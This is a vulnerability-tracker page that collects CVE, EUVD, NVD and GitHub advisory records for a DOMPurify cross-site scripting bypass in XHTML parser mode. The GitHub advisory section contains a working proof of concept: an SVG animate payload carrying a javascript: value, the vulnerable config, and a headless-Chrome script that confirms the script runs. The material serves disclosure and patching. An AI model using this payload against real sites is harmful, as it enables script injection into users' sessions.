Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 6/9 advisories · checked 16:58 UTC Customize Public modeDiscuss ChangeIntel on Discord

DOMPurify before 3.4.17 XSS via SMIL attributeName Guard Bypass in XHTML Mode

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-116802

Published

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

Source published
26 Oct 2026 23:05:34 UTC
Source modified
26 Oct 2026 23:05:34 UTC
Observed here
27 Oct 2026 02:23:01 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

euvd · EUVD-2026-110510

Published

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 26, 2026, 11:05:34 PM

dateUpdated: Oct 26, 2026, 11:05:34 PM

Source published
Oct 26, 2026, 11:05:34 PM (timezone not stated)
Source modified
Oct 26, 2026, 11:05:34 PM (timezone not stated)
Observed here
30 Oct 2026 02:00:26 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

nvd · CVE-2026-116802

Published

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to bypass the SMIL attributeName=href guard when PARSER_MEDIA_TYPE is application/xhtml+xml, because transformCaseFunc does not lowercase attribute names. Attackers can submit SVG with an animate or set element using attributeName="href" and a javascript: entry in values to execute script when users click the sanitized link.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-79

Original publisher date fields

published: 2026-10-27T00:17:11.637

lastModified: 2026-10-27T15:06:33.620

Source published
27 Oct 2026 00:17:11 UTC
Source modified
27 Oct 2026 15:06:33 UTC
Observed here
29 Oct 2026 11:13:09 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-c6gr-qvv4-5v3f

Published

### Summary DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `<animate>` or `<set>` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing. An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `<animate attributeName="href" values="x;javascript:alert(1)">`. Clicking the parent link then runs the script. This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config. ### Details In `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16): ```js const lcName = transformCaseFunc(name); ... if (lcName === "attributename" && stringMatch(value, "href")) { _removeAttribute(name, currentNode, attr); continue; } ``` `transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs. People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here. The value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill="freeze"`, the last entry ends up as the effective href of the parent `<a>`. In text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed. This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past. ### Proof of concept Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x. Config: ```js const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; ``` `{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same. Input: ```html <svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg> ``` Steps: 1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML. ```html <html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title> <script src="purify.js"></script></head><body><div id="sink"></div> <script>//<![CDATA[ const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>'; const clean = DOMPurify.sanitize(dirty, cfg); console.log(clean); document.getElementById('sink').innerHTML = clean; //]]></script></body></html> ``` 2. The logged output still contains `attributeName="href"` and `values="x;javascript:alert(1)"`. 3. `document.getElementById('q').href.animVal` returns `"javascript:alert(1)"`. 4. Click "click" and `alert(1)` runs. As a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `""`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page. An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below. <details> <summary>poc.sh</summary> ```bash #!/usr/bin/env bash # PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode. # # Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml" # config that allow-lists <animate> + attributeName, renders the output into # div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse # event and reports whether alert() fired. Also runs the same allowlist in # text/html mode as a control (DOMPurify strips attributeName there). # # usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`) # DOMPURIFY_JS=/path/to/purify.js ./poc.sh # CHROME=/path/to/chrome ./poc.sh # needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary. # exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error set -euo pipefail VER="${1:-3.4.16}" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT if [ -z "${DOMPURIFY_JS:-}" ]; then (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; } DOMPURIFY_JS="$WORK/package/dist/purify.js" fi if [ -z "${CHROME:-}" ]; then for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \ "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \ "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break done fi [ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; } cat > "$WORK/poc.html" <<'EOF' <!doctype html><meta charset="utf-8"><title>poc</title> <script src="purify.js"></script> <div id="sink"></div> <script>//<![CDATA[ const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' + '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' + '<text x="10" y="40" font-size="30">click</text></a></svg>'; function run(mode) { const cfg = { ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml'; const clean = DOMPurify.sanitize(payload, cfg); document.getElementById('sink').innerHTML = clean; return clean; } //]]></script> EOF cp "$DOMPURIFY_JS" "$WORK/purify.js" # Same test inside a real XHTML document (no HTML<->XHTML context flip): # the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser. sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \ -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \ -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml" cat > "$WORK/drive.js" <<'EOF' // zero-dependency CDP driver over --remote-debugging-pipe const { spawn } = require('child_process'); const [chrome, url, dir] = process.argv.slice(2); const xurl = url.replace(/\.html$/, '.xhtml'); const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run', `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] }); let id = 0, buf = ''; const pend = new Map(), dialogs = []; p.stdio[4].on('data', (d) => { buf += d; let i; while ((i = buf.indexOf('\0')) >= 0) { const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1); if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); } else if (m.method === 'Page.javascriptDialogOpening') { dialogs.push(m.params.message); send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId); } } }); function send(method, params = {}, sessionId) { return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); }); } const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); (async () => { const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' }); const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true }); await send('Page.enable', {}, s); await send('Runtime.enable', {}, s); const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value; let vulnerable = false, xhtmlDoc = false; const ver = async () => ev('DOMPurify.version'); for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) { await send('Page.navigate', { url: page }, s); await sleep(500); const docType = await ev('document.contentType'); if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]')); dialogs.length = 0; const clean = await ev(`run(${JSON.stringify(mode)})`); await sleep(400); // let the 0.01s animation apply (fill=freeze) const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`); const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`); if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased']) await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s); await sleep(800); console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}`); console.log(` animated <a> href (animVal): ${JSON.stringify(href)}`); console.log(` alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`); if (mode === 'xhtml' && dialogs.length) vulnerable = true; if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0; } console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable'); p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1); })().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); }); EOF node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK" ``` </details> ### Impact Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.

Source published
22 Oct 2026 16:24:23 UTC
Source modified
27 Oct 2026 10:56:08 UTC
Observed here
27 Oct 2026 11:09:43 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

Publisher rating · LOW

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 30 Oct 16:58 UTC · 272 of 272 readable · 270 fully read · documentation 469/469 current